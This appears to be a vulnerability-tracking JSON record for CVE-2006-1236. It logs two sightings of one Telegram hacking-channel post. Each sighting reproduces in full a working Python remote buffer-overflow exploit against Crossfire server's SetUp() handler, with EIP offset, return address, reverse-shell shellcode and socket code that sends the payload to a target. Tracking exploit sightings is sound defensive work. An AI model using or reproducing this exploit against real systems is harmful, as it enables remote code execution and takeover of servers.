{"vulnerability": "cve-2006-1236", "sightings": [{"uuid": "a455967d-3e86-49af-b85e-931a038c1d91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2006-1236", "type": "seen", "source": "https://t.me/hacking_Attack/20678", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:27.935715Z"}, {"uuid": "7c290eb5-1197-4e43-be7e-23f1bf5e6497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2006-1236", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/20678", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T19:00:04.581276Z"}]}